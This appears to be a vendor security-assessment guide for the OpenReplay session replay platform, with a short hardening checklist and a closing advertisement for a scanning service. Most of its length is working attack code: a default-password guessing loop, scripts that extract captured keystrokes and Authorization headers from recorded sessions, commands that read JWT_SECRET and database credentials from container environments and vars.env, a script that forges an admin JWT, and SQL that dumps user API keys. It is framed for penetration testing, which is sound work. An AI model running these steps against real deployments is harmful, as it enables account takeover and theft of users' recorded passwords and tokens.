OpenReplay Security Testing: Default Credentials, API Token, Database, and .env JWT_SECRET

OpenReplay is a widely deployed open-source session replay platform (Hotjar/FullStory alternative) built on Next.js and Go, used to capture all user interactions including mouse movements, clicks, keystrokes, and network requests — it records complete user sessions and stores them for product analytics and debugging. Key assessment areas: JWT_SECRET signs authentication tokens; the API provides access to all recorded sessions; OpenReplay captures network requests by default, potentially storing Authorization headers, API tokens, and other sensitive data transmitted during recorded sessions; and PostgreSQL stores all session metadata while MinIO/S3 stores the recording data. This guide covers systematic OpenReplay security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. API Session Enumeration and Network Capture Data
  3. JWT_SECRET and Database Credential Extraction
  4. OpenReplay Security Hardening

Authentication and API Token Testing

# OpenReplay — authentication and API token testing
OPENREPLAY_URL="https://openreplay.example.com"

# OpenReplay login — email/password
AUTH=$(curl -s -X POST "${OPENREPLAY_URL}/api/v1/account/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
jwt = data.get('jwt','')
print(jwt[:50] if jwt else 'FAIL: '+str(list(data.keys())))
" 2>/dev/null)
echo "JWT: ${TOKEN}"

# Try common admin passwords
for PASS in "admin" "openreplay" "password" "changeme" "admin123"; do
  STATUS=$(curl -s -X POST "${OPENREPLAY_URL}/api/v1/account/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if d.get('data',{}).get('jwt') else 'FAIL')" 2>/dev/null)
  echo "admin@example.com/${PASS}: ${STATUS}"
done

# API key authentication (generated in project settings)
API_KEY="your-openreplay-api-key"
curl -s "${OPENREPLAY_URL}/api/v1/sessions" \
  -H "Authorization: ApiKey ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
print(f'Total sessions: {data.get(\"total\",\"\")}')
" 2>/dev/null

API Session Enumeration and Network Capture Data

# OpenReplay API — session enumeration and network capture data
OPENREPLAY_URL="https://openreplay.example.com"
JWT_TOKEN="your-jwt-token"
PROJECT_ID="1"

# List all recorded sessions
curl -s "${OPENREPLAY_URL}/api/v1/projects/${PROJECT_ID}/sessions/search" \
  -H "Authorization: Bearer ${JWT_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"startDate":0,"endDate":9999999999999,"limit":20}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sessions = d.get('data',{}).get('sessions',[])
total = d.get('data',{}).get('total',0)
print(f'Sessions: {total} total, showing {len(sessions)}')
for s in sessions[:5]:
    print(f'  [{s.get(\"sessionId\")}] user={s.get(\"userId\",\"\")} email={s.get(\"userEmail\",\"\")} duration={s.get(\"duration\")}s')
" 2>/dev/null

SESSION_ID="your-session-id"

# Get session replay events — complete user interaction recording
curl -s "${OPENREPLAY_URL}/api/v1/projects/${PROJECT_ID}/sessions/${SESSION_ID}/events" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
events = d.get('data',{}).get('events',[])
print(f'Events in session: {len(events)}')
# INPUT events capture keystrokes — may include passwords if not masked
inputs = [e for e in events if e.get('type') == 'INPUT']
print(f'Input events (keystrokes): {len(inputs)}')
for i in inputs[:5]:
    print(f'  element={i.get(\"label\",\"\")} value={i.get(\"value\",\"\")[:30]}')
" 2>/dev/null

# Network capture — requests made during session may include auth headers
curl -s "${OPENREPLAY_URL}/api/v1/projects/${PROJECT_ID}/sessions/${SESSION_ID}/fetch" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
fetches = d.get('data',{}).get('resources',[])
print(f'Network requests captured: {len(fetches)}')
for f in fetches[:10]:
    url = f.get('url','')
    req_headers = f.get('request',{}).get('headers',{})
    auth = req_headers.get('Authorization','') or req_headers.get('authorization','')
    if auth:
        print(f'  URL: {url[:50]} Auth: {auth[:40]}')
    elif any(k in url for k in ['/api/','/auth/','/token']):
        print(f'  API URL: {url[:60]}')
" 2>/dev/null

# List all projects (admin view)
curl -s "${OPENREPLAY_URL}/api/v1/projects" \
  -H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('data',[])
print(f'Projects: {len(projects)}')
for p in projects[:10]:
    print(f'  [{p.get(\"projectId\")}] {p.get(\"name\")} key={p.get(\"projectKey\",\"\")} sessions={p.get(\"sessionsCount\",\"\")}')
" 2>/dev/null

JWT_SECRET and Database Credential Extraction

# OpenReplay JWT_SECRET and database credential extraction

# Docker env vars — OpenReplay uses docker-compose with multiple services
docker inspect openreplay_backend 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['JWT_SECRET','POSTGRES','MINIO','REDIS','PASSWORD','SECRET','S3']):
            print(e)
" 2>/dev/null
# JWT_SECRET — signs authentication tokens
# POSTGRES_* / DATABASE_URL — PostgreSQL credentials
# MINIO_ACCESS_KEY + MINIO_SECRET_KEY — S3-compatible object storage
# REDIS_* — Redis connection

# vars.env or .env file (OpenReplay uses vars.env)
cat /path/to/openreplay/vars.env 2>/dev/null | grep -E "JWT|POSTGRES|MINIO|REDIS|SECRET|PASSWORD"

# Forge JWT using extracted JWT_SECRET
JWT_SECRET="extracted-secret"
node -e "
const crypto = require('crypto');
const now = Math.floor(Date.now()/1000);
const h = Buffer.from(JSON.stringify({alg:'HS256',typ:'JWT'})).toString('base64url');
const p = Buffer.from(JSON.stringify({
  userId: 1,
  email: 'admin@example.com',
  tenantId: 1,
  role: 'admin',
  iat: now,
  exp: now + 86400
})).toString('base64url');
const s = crypto.createHmac('sha256','${JWT_SECRET}').update(h+'.'+p).digest('base64url');
console.log('Token: '+h+'.'+p+'.'+s);
" 2>/dev/null

# PostgreSQL access — session metadata
POSTGRES_URL="postgresql://openreplay:PASSWORD@localhost/openreplay"
psql "$POSTGRES_URL" 2>/dev/null << 'EOF'
-- All users with API keys
SELECT user_id, name, email, role, api_key, created_at
FROM users
ORDER BY role, created_at DESC
LIMIT 20;
EOF

# Project keys — tracker ingestion keys
psql "$POSTGRES_URL" 2>/dev/null << 'EOF'
SELECT project_id, name, project_key, recording_rate,
       save_request_payloads  -- true = request bodies captured (may include passwords)
FROM projects
LIMIT 20;
EOF

# MinIO/S3 — session recording data storage
# Recordings stored as binary files per session
mc ls minio/openreplay/ 2>/dev/null | head -20
# Each session file contains complete DOM snapshots + events including captured keystrokes

OpenReplay Security Hardening

OpenReplay Security Hardening Checklist:
Security TestMethodRisk
Session recording sensitive keystroke dataGET /api/v1/projects/{id}/sessions/{sid}/events — INPUT event type captures keystrokes in all input fields; may expose unmasked passwords, credit card numbers, OTPs, and other sensitive data depending on masking configurationCritical
Network capture auth header exposureGET /api/v1/projects/{id}/sessions/{sid}/fetch — captured network requests include headers; Authorization headers with Bearer tokens, API keys, and session cookies may be stored in session recordings from authenticated user sessionsCritical
JWT_SECRET extraction and token forgeryRead vars.env JWT_SECRET — JWT signing key; forge valid admin authentication tokens as any OpenReplay user bypassing password authenticationCritical
MinIO/S3 session storage accessMinIO credentials from vars.env — direct access to all stored session recordings as binary files; complete user behavioral history including every interaction across all sessionsHigh
PostgreSQL API key enumerationSELECT api_key FROM users — all user API keys in plaintext; enables API access to all session data for each user accountHigh

Automate OpenReplay Security Testing

Ironimo tests OpenReplay deployments for JWT_SECRET extraction and session token forgery, session recording sensitive keystroke data exposure, network request capture authorization header extraction, MinIO/S3 session recording storage access, API key enumeration from PostgreSQL, save_request_payloads sensitive body capture assessment, input masking misconfiguration testing, admin credential brute force protection, project key abuse detection, and session replay data governance assessment.

Start free scan